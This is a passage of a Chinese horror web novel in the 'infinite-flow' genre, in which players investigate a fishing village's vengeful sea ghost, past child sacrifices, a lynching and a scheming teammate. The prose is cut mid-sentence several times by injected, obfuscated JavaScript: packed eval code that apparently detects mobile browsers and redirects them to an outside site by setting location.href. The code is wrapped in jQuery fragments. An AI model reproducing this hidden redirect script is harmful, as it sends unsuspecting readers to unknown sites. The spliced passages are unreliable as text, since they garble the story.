女人定定凝视着孟晗的眼睛,笑出声:“神不庇护你,海螺刀就不保护你。你们要是不走,就听天由命吧,这一切都是命数。” “妈!走了!”女人的小儿子叫道。 女人挣脱开孟晗的手:“你们早走吧,否则就走不了了。” 女人离开后,瑶瑶小步追过来:“那个应该是副本里的重要道具。” 孟晗:“问到了?” 瑶瑶点头:“我找了个小孩,小孩子好骗,村子里的其他人确实不愿意提及这些。小孩说,真的见过村长用海螺刀杀鬼,还救过人。” 孟晗眉梢微动,她之前判断海螺刀不能杀鬼,否则村子不会怕鬼。听到瑶瑶这么说,也没完全推翻自己:“那为什么不杀死林宝珠?” 瑶瑶说:“原话是,林宝珠很难杀死的!你以为是过家家吗,村长说过,想要除掉林宝珠,就要拿着海螺刀去海里杀死她,但是因为林宝珠的塑像就是林宝珠的尸体,塑像已经被海水淹没了,没有办法被砍成沫沫,所以杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586857|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不死。等一切结束,那雕像才会变成海娘娘,镇守箱岩村。” 孟晗没说话,但可以笃定村长在杀死林宝珠的方法上撒谎。 祠堂站不下这么多人,看见村长办完了,让大家自行离去。 七尾也问了个村民,得到了和瑶瑶相同的答案,海螺刀确实可以铲除厉鬼,保护村民。 趁着村民们哗啦啦往外走。玩家逆向而行,聚在村长面前,挡住他的去路。 七尾故作为难:“村长,我们的朋友也死了,好端端的大活人就没了,您怎么也得给个交代吧。” 村长有些疲累,眼皮子都不愿意抬一下,接连叹气:“我怎么给交代?是你们挑了不好的时候来,否则也遇不到这种事。林宝珠回来了,这村子都得遭殃,你们要是早点走就走吧。” “那你们怎么不走?”孟晗问。 如果林宝珠是地域性的厉鬼,或者箱岩村的地缚灵,村民们但凡发现苗头就可以逃离。 村长摇头:“你以为这么容易?箱岩村的人啊,造的孽啊,要自己来还。人啊,这里是根,生生世世都会回到这里,怎么能走呢?怎么死的就怎么活过来,长在这里。我们生是箱岩村的人,死是箱岩村的鬼!” 张睿的脸色越来越难看,难道自己死了之后就永远被困在箱岩村了? 村长指了指自己胸口:“造的孽,生生世世都还不完,怎么还?有这个海螺刀威慑,已经实属不易,哪里还能要求更多的?这都是我们欠下的啊。” 孟晗问出困扰了他们许久的问题:“林宝珠,到底是谁?” 村长浑浊的眼睛望向远方,天阴沉沉的,似乎要下雨,但所有的雨都积于云层之中,还没有落下一滴。 他嘴角下压,扶着桌子站了很久,苍老的声音略带哽咽:“那是三十多年前的事情了……” “当时,箱岩村还不叫箱岩村,叫林家村。” “我们都姓林。” “那时候也没有旅游业,什么都发展不起来,靠山吃山,靠水吃水,我们林家村的世世代代以打鱼为生,日子过得清贫,但勤劳一点也还活得下去。” “村子里有个贫户,叫林永忠,也是林宝珠的爸爸。听别人讲,林永忠这个人好吃懒做,老婆死得早,留下了一女两儿。他一个人怎么能养得起,过不了多久,儿子就都死了。不过也有人说是林宝珠克死的,林宝珠就是个灾星。” “不过林宝珠也算命大,从林永忠这样的父亲手里还能活下来。” “后来有一天,林永忠失踪了几天,再回来就说他见到了海娘娘,海娘娘让他出海打渔,说肯定有所成就。他就开始学着出海、打渔。他居然还挺幸运的,每次他出海都是风平浪静,甚至还能捞到不少砗磲珍珠,一下子就有了钱。” “真是海娘娘显灵,林永忠也一改往日作风,开始变得勤奋。他的生活越来越好,家也越来越大,就在现在的地方,盖起来了如今的家宅,当时村子里只有这一个豪宅,甚至里面还有很多西洋的玩意。林永忠后来又找了个老婆,但老婆仍然生不下孩子,一个个难产都死了。” “林永忠改头换面之后,对林宝珠特别好,宠爱的不得了,什么好东西都给女儿,还修了小洋楼。那个年代啊,都重男轻女,男人出去干活,女人能做什么呢?但林永忠就是个个例,真转了性子,爱宝珠爱得很,逢人就夸。村民们都说,谁娶了宝珠,简直就是修来的三辈子福气。林永忠说,宝珠就想一辈子陪在自己身边,他们家只招赘。” “直到有一年,明明看着风平浪静,但是那次出海却死了很多人。险象环生的村民回来都说,海上出现了很多奇怪的鱼。有些大鱼在海平面上一会儿浮,一会儿沉,重达十几斤,这可是大价钱,而且很容易捞到。不少村民就用网去捕捞,这一捞,就栽到水里,人都没有挣扎,眼看着被什么拖下去,死了。” “后来我们才知道,那鱼叫‘引路鱼’,是水鬼抓交替的。就这么死了十几个人。后来大家都长了记性,知道不能碰那些鱼了,但死的人越来越多。渔民说海上有风暴、漩涡,每次出海又成了有去无回的赌博了。” “这时,林永忠召集村民说话了,他说他又梦见海娘娘了,海娘娘说是因为海底有恶龙。” “要打桩。” 孟晗打断村长:“打生桩?” 村长摇头:“箱岩村的名字就是这么来的。” 10. 循环 村长继续说。 “打桩,不是打生桩。至少当时不是。” “林永忠说,要在海上建五个石柱,围成一个圆圈,作为祭坛。海中有恶龙水鬼作祟,这相当于镇水柱,护一方平安。当时村子里觉得是个办法,因为林永忠也确实见过海娘娘,于是举全村之力,修建了箱岩,也就是今天雕塑公园的位置。” “林永忠监工,事情开始进展得很顺利,但后来就出事了。” “最开始,村子里丢失了两个小女孩。最初家长以为小孩跑出去玩,后来三日不回家以为是上山迷路了,全村人出去找也不见踪影。紧接着,又失踪了三个,村子里一共失踪了五个女孩。那时的村长整日带头找人……但如人间蒸发,什么踪迹都没有。” “最后,有个小男孩说在海滩上见过失踪的女孩。大家又把施工现场翻个底朝天,最后在海桩子那里找到了其中一个女孩的书包。再然后,箱岩发出一阵阵恶臭,村长下令撬开箱岩,浇筑的柱子内发现了五个女孩的尸体。” “这都是林永忠搞的鬼,都是林永忠想出来的邪法!他根本没有改邪归正,他是恶魔、罪魁祸首!” 村长的手在颤抖,情绪激动,不能自已。 “那还是孩子啊,他怎么下得去手!” “后来,请了隔壁村懂行的来看,发现这根本不是什么海柱,而是续命的造生基,不知道是续的谁的命!众人前去林永忠家兴师问罪,推门就看见了林永忠的尸体挂在了房梁上,房梁那么高,也不知道是怎么吊上去的,地上腥臭一片,十分难闻……大家又怒气冲冲去找他的女儿林宝珠!” “林宝珠住在后面的二层小洋楼,这么多年,林宝珠一直闭门不出。村长带头敲开了洋楼的大门,据说洋楼里弥漫着一股海臭味,没有家具,也没有生活的痕迹,像鱼塘。大家分头寻找,在一层的水池子里找到了正在睡觉的林宝珠。” “你们知道林宝珠是什么样子吗?太可怕了!那根本不是人!” “她的身体长满了贝壳,甚至脸颊上出现了鱼鳞,是不人不鱼的怪物!眼睛变成了白色,就连嘴里的牙都是尖锐嗜血的!” “是妖!” “懂事的人说这是妖物,真正的林宝珠早就死了,是她蛊惑林永忠给自己活祭,也是她假扮海娘娘托梦。所以,村子里的人一致决定要打死林宝珠……要打死她!要烧死她!” “村子里几个胆子大的村民将林宝珠拉了出来,她被带到了箱岩那里,愤怒的家属活生生打死了她!她一直嚎叫,叫的天崩地裂,那根本不是人类能发出的声音。” “后来,她被打死了。本来以为事情结束了。次日一早,村民却发现林宝珠的尸体不见了,原本村民担心妖物复活,林宝珠的尸体被烧成了灰烬。大家开始没当一回事,以为海水冲走了,谁知当天夜里有人看见了林宝珠坐在海滩的岩石上唱歌!” “从那天开始,村子里又开始死人了” “死了很多很多人,甚至那失踪的五个女孩的家里人也都死的干干净净……这是林宝珠在报复把她乱棍打死的村民……大概过了十天,这场惨剧终于结束,没人再死了。担心林宝珠作祟,村民在箱岩处立了一个海娘娘的神像,希望能护佑我们平安。” “我的父亲,也就是当时的村长,从外面请回了一把海螺刀,摆在祠堂里,作为震慑。” “从此,平静了十年,然后在某天夜里,林宝珠再次出现,大开杀戒。” “由此,成为了循环。每隔十年,林宝珠就会出现杀人,死的大部分是孩子和年轻人。她这是要断了村子的根啊。” “而我们,只能承受。” 孟晗听着故事,说实话,这和自己猜想的差不多。 但。 有一个问题。 孟晗问:“祠堂和海螺刀可以震慑?” “是。” 村子里的人提到过,海螺刀能杀鬼、震慑,只不过各种原因导致他们没有杀死林宝珠。祠堂也可以保护村民,那为什么不在林宝珠回来的时候开门躲在祠堂里呢? 孟晗:“林宝珠杀人有时效,那为什么不躲在祠堂,等风头过去?” 如果真的可以。 怪谈的目标是存活七日,现在还剩下六日,祠堂算个安全屋。 村长咧开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586858|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝难看的笑容:“你太天真了,她确实不会进入祠堂,但如果四天之内,她没有杀死她觉得该死的人,天降大雨,会淹没整个村子,到时候谁都活不下去。”所以,不能让村民都躲在祠堂内,这就相当于献祭,献祭村民给林宝珠,平息她的怒气,让她停止杀人。 其他人一听,脸上神色各异。 张睿还以为找到了安全屋,只要躲过就能活下去。先不说会被水淹死,如果漫天下雨,到处都是反光,也就到处都是厉鬼,他会比陈昊死的还惨。更何况这安全屋对玩家而言是否生效,他们都不敢拿命去试。无论如何,他们都不可能存活五天! 孟晗垂着眼眸,果然怪谈不是这么好糊弄的,现在杀不死林宝珠,也不能活到拯救期限。既然如此,如果她能解开这个怪谈呢? 她舔了舔嘴角。 虽然不是无从下手,但还是觉得哪里不对。 孟晗回看了一眼海螺刀,摆在祠堂的正中间,寒光闪闪。 天越来越黑了。 村长说每次林宝珠出现都至少杀五个人,他们摊上这事儿也是无妄之灾,但被林宝珠杀死的人不会被埋葬,会扔到大海里去平息怒火。 从祠堂回到民宿已经是下午,即使是六七月的天气,但乌云遮天,天黑的很快。 一路上,玩家因为“拯救期限”和“生路”相悖而颓然。 张睿唉声叹气。 七尾一言不发。 孟晗在思考,月下潮生,潮殁人心。重游赏景,如梦如幻。若欲远行,必断所系。 瑶瑶分析:“月下潮生,潮殁人心两句应该说的是海平面上涨,人心不古之类的,就是村子里都是恶人?反正听起来林宝珠有冤情,后面两句我没弄明白。” 路上人不少,可能是家家户户准备今晚、明日都不再出门,都在院子里收拾东西,或买点必用品。此时,远处传来一阵慌乱的声响,听到动静一部分村民停下手里的活儿往远处看,另一些人就像见到了瘟神,避之不及。 “他怎么来了?” “怎么又来了?” “这疯子居然还活着呢?他死了就好了!” 11. 老头 远处跌跌撞撞走来了一个老头,看起来大概六十岁左右,瘦得脱了形,肩膀塌陷,身上的蓝布褂子早已洗得发灰,袖口油腻发黑。老人一路低着头,对周围人的视线毫无反应,像根本没看见他们。他佝偻着背,径直走进了路边一家小卖部。 “跟上。”孟晗说。 瑶瑶和孟晗快跑几步,停在小卖部门口。 小卖部内,昏黄灯泡悬在头顶,滋滋作响。老头掏出一张皱皱巴巴的五块钱,放在桌上,声音沙哑:“盐。” 老板脸色有些难看,嘴唇动了动,极小声地骂了一句:“晦气。” 老人没生气,甚至连表情都没有,一双浑浊发黄的眼睛,直勾勾盯着老板的脸。 老板被盯得后背发僵,赶紧移开视线,低头从柜子里翻出一包盐,“啪”地扔在桌上:“两块二。” 孟晗站在门外,看得很清楚,这老头在村里显然不招人待见。老板看他的眼神里没有厌恶之外的情绪,像在看什么沾了霉运的东西,可老人似乎早就习惯了这样的目光。 他包好盐,颤颤巍巍走出来,路过孟晗和瑶瑶时,他脚步微顿,浑浊的眼睛,在两人身上缓缓扫了一圈。老人忽然笑了一声,透着一股说不出的轻蔑与挑衅,仿佛看到了什么很有意思的事情。 “嘿……嘿嘿……” “哈哈……哈哈哈哈” 他咧开嘴,一口牙黑得发乌,像烧焦腐烂的木炭,泛着潮湿恶臭。 孟晗盯着他看,没开口,老头笑得越来越疯狂,干枯的花白胡须像是老掉的鱼骨,挂在他的人中来回晃悠。 孟晗:“林宝珠是你什么人?” 老头没直接回答问题,脸上的蔑视变成了得意:“你们不懂,也不需要懂,反正你们都得死。”他目光凑近了点,语气更加低沉,“你们都会死。” “所有外乡人,都会死。” “这里不欢迎任何外乡人。” 孟晗眯起眼睛,这人看起来并不像其他人仇恨林宝珠,那么他的立场应该是和林宝珠一起。 孟晗开口说道:“我们会给林宝珠报仇。” 老头听到孟晗的话,只觉得好笑:“她不需要任何复仇,她得偿所愿!你们,都该死,都会死。这是你们活该!” 孟晗默然,她大概有想法了。 “操,会不会说话啊!这箱岩村的事情关我们什么事啊!”张睿额头青筋鼓起,声音尖得发颤,他讨厌宿命论,什么都得死,他活着好好的,这就是他妈的一场梦,这他妈就是个恐怖游戏!NPC装神弄鬼吓唬谁呢! “我们肯定能活着出去!”只有拼命大喊,张睿才能压住心里的恐惧。 骤然,一阵风刮过。 孟晗紧握老头的手突然感到一阵刺痛,下意识松开了手指,老头的皮肤竟然滑的像鱼类分泌的粘液! 老头咯咯一笑,粘液甩了孟晗一手,啧啧两声走了,速度快得不像一个老头。 众人往民宿走。 破旧渔网被风吹得轻轻摇晃,发出细细簌簌的摩擦声。 七尾看着孟晗和瑶瑶的背影,目光凌厉,他讨厌看见用户之间这么亲密。不过,没有什么是不能瓦解的,这就是人性。原本,他已经悄无声息地把怀疑埋进了陈昊心里。只要再往前推一步就够了——猜忌、恐惧、自保欲,这些情绪会像潮水一样一点点涨上来,把人逼疯。毕竟在怪谈里,往往不是鬼先动手,而是人先失控。 可惜,陈昊死得太早,早到很多东西都还没来得及发酵。连一场像样的自相残杀都没上演,就草草结束了。 真没意思。 想到这里,七尾心底莫名泛起一阵烦躁。 他垂下眼,指尖缓缓摩挲着口袋里潮湿、阴冷的车票。 他看向张睿。 张睿被那目光盯得心里发毛,喉结滚了滚:“怎么了?” 七尾语气随意,闲聊似的开口:“我还在想四个人的事情……” 张睿哆嗦:“可、可我们现在……本来就只剩四个人了。” “是啊。”七尾轻轻笑了一声,“但你不觉得太巧了吗?他们两个一离开,陈昊就死了。我其实一直有点担心……” 他故意把话停在这里,像鱼钩悬在半空,不落下来。 张睿呼吸明显乱了,眼神惊惶地看着他:“你什么意思?你是说——” 前方的孟晗忽然停下脚步。 她侧过脸,目光冷冷扫了过来。 张睿后背一凉,硬生生打了个寒颤 七尾顿了顿,嘴角的笑意淡了下去,识趣地闭上嘴。 够了。 下午,回到民宿。 白天时还是五个人,现在只剩下四个人。 屋子里安静得压抑,空气里弥漫着熏肉和海盐混在一起的腥香味。厨房的铁锅里还温着饼、熏肉和一点蒸菜,热气微弱地往上冒,像死人喉咙里最后一口气。其他三个人都没什么食欲,孟晗吃的很香,熏肉味道不错,肥瘦相间,足够下饭。 她神色平静,像根本没见过死人。 张睿却已经快崩溃了,一拳砸在墙上,声音发颤:“所以我们根本活不到七天!” 七尾坐在沙发里:“你可以试试。运气好的话,说不定能通关。” “你他妈——”张睿猛地回头,眼睛发红,“你不是聪明吗?那你说现在怎么办?!” 七尾没理他。 他转而看向孟晗:“你们在小洋楼发现什么了?” 瑶瑶把上午的经历复述了一遍,包括地下的小水池,还有那个疑似“林宝珠”的鬼影。 听完后,孟晗忽然抬眼。 “你们呢?” 她看向张睿:“你们看见什么了?” 张睿强迫自己冷静下来,脸色依旧惨白:“就……普通卧室。当时陈昊死在我面前,我都快吓疯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“海女,”七尾对上她的视线,“林宝珠是海女。” 孟晗饶有兴致:“说来听听。” 七尾:“我在卧室书架上找到一本讲风水堪舆和民间术法的旧书,其中几页夹了书签,正好写的是《海女》。” “《海女》是沿海的一种邪术,更像是泰国那边的古曼童,区别是,古曼童用死人养,海女用活人养。养成之后,困于家中,可以保家财万贯。” “按照书里的方法,林永忠会在林宝珠身上刻咒,用海水一遍遍清洗她的身体,再把海难死人的尸体炼油,让她喝下去。时间久了,她的皮肤会长出鱼鳞,眼睛变白,习性也会逐渐接近鱼类,最后成为海女。” 村民发现异状后,不分青红皂白打死了林宝珠。而被活活炼成“海女”的东西,自然怨气滔天。 报复箱岩村,也就顺理成章。 逻辑完整。 孟晗若有所思,这个男人从进入怪谈开始,就一直在不动声色地引导所有人的思路。 挑拨、暗示、误导。 她记得很清楚,陈昊刚死的时候,她和瑶瑶听见声音往回跑,正好看见冒着血的尸体,张睿吓得腿软,瑶瑶脸色惨白。只有自己,在七尾脸上看见了一闪而过的微笑。 畅快的,淋漓的,难以掩饰的笑容。 12. 遗照 天色已晚,黄昏降临。 众人纷纷回房,进入怪谈的第一天以其中一名用户的性命为代价,匆匆结束。 瑶瑶和孟晗仍然一个房间。 张睿和七尾住在了两个单间。如果是昨天晚上的张睿,他会毫不犹豫选择和七尾一个房间,但陈昊的死给张睿的打击很大,他终于从恐慌中明白过来,即使和七尾呆在一起他也不是安全的,在怪谈里只有自己能保护自己。可能是因为父母婚姻矛盾,张睿从小不需要用眼睛观察,就可以感受到周围气氛细微的变化。他对于情绪足够敏感,以致于当陈昊死的时候,他余光瞥见了七尾在惊愕之余,微微勾起的嘴角。 所以,陈昊死前看的到底是镜子,还是七尾?他会不会想说是七尾害自己的? 七尾能活到现在,应该是用一个个用户的性命做台阶。要不是今天吃晚饭的时候瑶瑶又告诉自己一些怪谈规则,他压根没想过七尾居然隐瞒了这么多信息。他昨天因为害怕所以脑子发昏,比自己菜还要可怕的是——信了不该信的人。如果他也想害死自己呢? 七尾今天说“三个人”是什么意思?最后玩家只会剩下一个通关吗?还是说,七尾发现瑶瑶和孟晗也有问题? 他看过很多无限流小说,老玩家会害新人,会把新人当炮灰,如今想要活下去还是得靠自己。眼下是要找到一条生路结束怪谈,怪谈的核心在林宝珠身上,只要杀死林宝珠,所有人都不会死。村长说过,那把海螺刀可以杀鬼,刀肯定是重要道具,只要拿到了刀,无论结果如何,自己都不会成为炮灰,所有人都得求着他、保护他。 管他是人是鬼,先拿到刀! 张睿握紧拳头,明天一早他就去祠堂拿走刀。 *** 隔壁屋。 瑶瑶浑身黏黏的,想洗澡又怕水面反光,怎么躺着都难受。虽然比起生命安全受到威胁,这些难受可以忽略不计了,但瑶瑶一直觉得人和动物的区别就在于,人类对于自己生活是有要求的,有向往的。这也是为什么自己在写无限流小说的时候,总会写到“上厕所出事”的桥段。很多读者都觉得太假,在评论区批评她太过于悬浮,明明在无限流的世界中玩家命都保不住了,怎么还会独自去厕所? 但如果真的进入无限流就会知道,人类必须做到排泄行为和日常起居分开,这才能够称之为“人”,而不是“猪”“狗”“鸭”,即使无限世界是屠宰场,也要保持最后的体面。否则不需要鬼怪,人自己就会先行崩溃。 孟晗没太多心理活动,纯粹是不舒服甚至有点想骂人,海边空气潮湿粘腻,头发上似乎都挂着沙粒。 良久,孟晗:“你难不难受?” 瑶瑶:“嗯。” 但自己是不会鼓励队友去洗澡的。 孟晗坐起来,似乎挣扎了一瞬,一抬手把上衣脱了,只穿着内衣。 瑶瑶倏然瞪大眼睛,依稀可以在昏暗中看见起伏的轮廓,隐藏在衣衫下的曲线让她口干舌燥。虽然都是女孩子,但脸还是不自觉红了。 不知道是不是错觉,气温好像都升高了。 “啊……我……我不看你……你要脱,就脱了睡吧,就是万一、咱俩不好跑路。不过怪谈,就算看见什么也无所谓,毕竟也不会传到现实世界的……” 此地无银三百两。 人总会被美好的事物吸引,瑶瑶又忍不住多看了两眼。凹凸有致,骨肉匀亭,肌肉紧实,充满力量。孟晗比她高了半头,行动迅速像一只敏捷的豹子,反倒是自己,真的要被网络上的白瘦幼审美观搞得手不能提,脚不能踢。 黑暗中,孟晗笑了一声。 瑶瑶脸更红了:“你别笑啊。” 孟晗知道瑶瑶在看自己:“我有的你都有。” “那不一样,能一样吗?”瑶瑶嘟囔。 两分钟后,孟晗扔给她一个湿毛巾:“擦擦吧。” 吸满水沉甸甸的凉毛巾简直就救命稻草,瑶瑶耳垂发烫:“哦、哦好,谢谢。” 孟晗没觉得有什么,用另一条湿毛巾擦拭着身体。 窗帘拉开了一个角,透进来一些月光,足够她看清自己的身体。车祸并没有留下任何伤疤,今天走的太多小腿有些酸胀。凉水擦掉皮肤表层残留的沙垢,终于变得清爽许多。她把毛巾翻了个面准备顺着再擦一遍,从小腿、大腿、再到腰腹…… 然而,孟晗手停在了腰间。 她不记得自己腰上有一个印记。 印记是横向的,浅褐色的,大概十四厘米左右的长度。 是平坦的,不疼不痒,不像是某种无征兆的疾病,也不可能是疤痕。 奇怪,在车祸之后她认认真真检查过自己的身体,没有这条疤痕,看起来像被人噶了腰子。孟晗用手蹭了蹭,也没掉色。 窗外夜色朦胧,没有跳舞小人,也没有站在楼下仰头凝视她的女鬼。 “睡吧,明天要早起。”孟晗说。 “好,两点叫我,换班守夜。”瑶瑶点头。 “嗯,晚安。” 孟晗靠在墙壁上,依旧从窗户缝隙里看向窗外。 水汽很大,看起来要下雨了。 这可不是好兆头。 *** 第二天一早。 孟晗五点就醒了,瑶瑶守夜,所以没睡觉。 天亮之后,走廊里传来兹拉兹拉的声音。 瑶瑶:“有人。” 孟晗竖起耳朵听,很小心翼翼的脚步声,似乎生怕被谁发现。木地板发出嘎吱嘎吱的声响,显然不是女鬼,应该是张睿。脚步声顺着楼梯下降的同时,紧接着他们头顶天花板也传来了声响。 是七尾。 孟晗翻身:“起床,七尾跟着张睿出去了。” 瑶瑶迅速穿好外套:“跟上。” “不去,”孟晗说,“去二楼。” “啊?”瑶瑶不明白,不应该是螳螂捕蝉黄雀在后吗? 孟晗说:“鬼应该没有定位的能力,只有在碰触某个固定的道具、领地的时候会被惊觉。刚入怪谈时,咱们走的那条路是通向祠堂的路,因为也算是激活点,所以从前天晚上咱们就被盯了一路。” “第一天晚上我和她对视,所以她可能找到我的位置。昨天咱们去林宝珠家,又动了她生前的东西,又引出了她。只有在固定地点才会让她出现,否则这个村子里的人怎么会不动林家的那些财宝?而且,通往祠堂的路一看就是很少有人去,都长了杂草。经过昨天那段路的时候,村民们都是跑的,生怕落单或者落后。” 瑶瑶有些疑惑。 孟晗:“他们去祠堂了,咱们去小洋楼。这是两个异常任务点,现在咱们平分危险系数。” “那不一定吧。”瑶瑶嘀咕了一声,总觉得林宝珠家应该更可怕一些。 她有些放心不下,拿出【东南西北】。 孟晗笑了:“试试?”她逆着阳光,手向后撑在窗台上,黑色长发披散在肩膀,似笑非笑的模样把瑶瑶看得一愣一愣的。 瑶瑶呜呜摇摇头,自己脑子不够用,还是跟着孟晗走吧! 阴雨蒙蒙。 今天肯定会下雨,不过乌云在祠堂方向似乎更深一些。 整个镇子还在沉睡中,家家户户门窗紧闭,俨然一副这里没人的模样。 院落很安静,两层小洋楼仍然泛着腥臭味。蜡烛仍然明亮燃烧,徐徐火焰让这里看上去更像个头七回魂的祭屋。 大门右手是一个木头楼梯,楼梯因为长年的潮湿而近乎腐烂发软,一走路吱呀作响。瑶瑶时时刻刻环顾四周,观察孟晗的影子、物件的影子、墙壁的影子。孟晗在前面引路,楼梯弯弯绕绕,终于来到二层。 刚迈上台阶,瑶瑶吓得一哆嗦,只见正对楼梯口的二层摆放着一张巨大的林宝珠遗像。 孟晗:“……” 莫名想到独居女性担心有变态进入所以在客厅摆一张自己遗像的段子。 遗像有A3纸那么大,被装点在黑色木头框内。不是黑白相片,而是手绘的工笔画,落笔细腻。这不是林宝珠活着的时候画的,因为林宝珠没有留下一张照片,应该是死后为了平息林宝珠的怨念所作。 遗像下摆放着已经溃烂的橘子和苹果,棕色果肉里爬满了乳白色的蛆虫。屋内蚊虫嗡嗡,落在透着光线的玻璃上,形成一张密密麻麻的网。 有人在给林宝珠一直烧纸,要么是害怕,要么是祭奠。 孟晗走向遗像前。 林宝珠笑容淡淡的,眉眼清秀。 这幅画应该出自很爱的人的手中,至少不是林宝珠的父亲林永忠。 水果旁边摆放着梳妆镜、小玩具、腮红膏一些女孩子爱用的东西,以及一摞散掉的黑白照片,照片很小,年代久远,但有数十张。 只不过,不是家庭合影。 孟晗拿起一张,“哦”了一声。 瑶瑶凑过去,差点又心跳骤停,她真想说为什么孟晗总是对这种东西兴致盎然! 一张张照片全部是死状各异的人。 脖子断裂死的,池塘里淹死的,挂在树上吊死的,被刀砍死的…… 死者面孔狰狞,大片的黑色血迹占满照片的大部分空白。还有几张照片的死法更为诡异,是被人活生生从小腹被剖开,死者肚子上有一道很深很深的划痕,四肢被拉扯断,腹部的肌肉裂出一个个如同莲蓬的黑窟窿。 人死不瞑目,瞪着镜头,那目光似乎穿过照片和时间。 瑶瑶一哆嗦,这些都是,被林宝珠杀死的人?照片背后标注上了名字、死亡日期,正好是每间隔十年之间的死亡日期。 孟晗翻动照片,手指一顿。 这张是陈昊和昨天死去的那个村民的照片,祭奠之人昨天照相后就把照片摆在这里了。 瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586860|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶不想看这些照片,围着遗像走了一圈。刚才那些照片并不是全部,相框下方还压着几张。她眼疾手快抽出来,在递给孟晗的刹那间,倒吸一口凉气,脸色倏然苍白。 “姐……” 孟晗看到瑶瑶的表情后,接过照片,愣了一秒:“没事。” 是他们五个人的照片。 一个不剩。 只不过,不是死亡时的照片,是偷拍照。 当然,她也没有死。 有人故意放在祭坛上,想要吸引林宝珠的注意力。 “谁这么有病!”瑶瑶急了,红着眼睛想撕掉照片。但又怕照片一撕,他们人死了怎么办?只能握紧拳头,揣入自己的兜里,“说白了,这也是村子里的人造的孽,和我们有什么关系!咱们是倒霉,但也犯不着去承他们的因果吧,真是害人不浅!” 孟晗垂眸没有说话。 谁放的呢? 结合箱岩村的习俗——谁被林宝珠杀死,就会把谁从族谱中除名来平息怨念的行为来看,这些应该也是给林宝珠看的。 ——看,这些你深恶痛绝的人死得多惨。 ——看,你已经杀了这么多人,不要再杀人了。 ——我们会祭拜你的,之前是我们做错了,你不要再杀人了。 ——如果你还要杀人,就先杀这些外乡人吧!希望能够平息你的怒火! 如果有逻辑的话,这应该可以解释得通。 照片的时间跨度从三十年前到五年前。 根据标注的时间,一共发生过三次屠杀。 三十年前。 二十年前。 五年前。 还有,就是今年。 每次屠杀的平均人数大约在五人左右。 而五人,正好是他们五个玩家的数量。 这是要将他们一网打尽吗? 瑶瑶忍着恶心,但看孟晗表情淡淡,紧绷的神经也和缓许多。她抿了抿嘴唇,从孟晗手里接过照片:“这里大部分都姓林,应该就是箱岩村的人。” “一个问题。” “嗯?” “杀人有规律吗?”孟晗问。 有很多村民,也有很多外乡人。 孟晗问:“为什么都是年轻人,昨天死的也是年轻人,村长也说死的都是小孩。但是,有一个例外。” 瑶瑶被点醒了:“可是陈昊都三十岁了。” 孟晗:“年纪大了。” 瑶瑶叹气:“不会这里的鬼觉得男人致死都是少年吧。” “是吧。” “……” 这个时候不需要一语双关了,姐。三十岁的年纪,只有死亡才会被别人说“年纪轻轻”,如果是在现实社会上,十岁工作都被淘汰了,也就是怪谈把我们还当成年轻人。 孟晗扑哧笑出声:“你状态还不错。看一下照片,最大的死者年龄就是三十岁左右。哦不对,除了这些人。”死状凄惨,被开膛破肚的死者是村长口中第一次屠杀的受害者,这五个人都姓林。 只有这一批死者里有男女老少,从名字和排行辈分来看应该是五户不同的人家。 孟晗喃喃村长的原话:“死了很多很多人,甚至那失踪的五个女孩的家里人也都死的干干净净。” 这五户人家死亡人数共计16人,包含三个中年女人,两个老年女人,五个中年男人,一个老头,还有五个男孩子。除此之外,都是死者都是年轻的村民和外乡人,以及人数都在五人左右。 瑶瑶整理了照片:“除了第一次,剩下第二次、第三次,外乡人一共死了四个,村民死了七个。” 孟晗分析:“咱们是玩家,被盯上情有可原,毕竟这就是怪谈逻辑。但是外乡人和这场惨案没有任何关系,除非外乡人是因为林宝珠来的,比如寻找海女。” 瑶瑶:“或者林宝珠只想让这个村子荒废下去?” 孟晗摇头。 她隐隐有一个猜测,但还需要证实。 如果时间还够用的话。 装好照片,孟晗和瑶瑶继续探索二楼。 墙壁上遍布抓痕。 屋子内空空荡荡,只有一张长满黄青色霉菌的架子床,被泡发过很多次的湿潮地板长出了很多白色苔藓。 目光掠过四周,瑶瑶发现桌子下还有张照片,夹在地板缝中。 孟晗捡起来。 是一张合影。 陌生的男人,和另外五个陌生的男人,她还以为是家庭合影呢。 “林永忠,”孟晗挑眉。 即使她没见过林永忠,但父女长相相似。林永忠周围站着的,正好死状凄惨的那五户人家的男主人。 孟晗灵光一闪,正要说什么。 突然。 小洋楼外响起脚步声。 嘎吱。 嘎吱。 有人上来了。 13. 真假 凌晨五点。 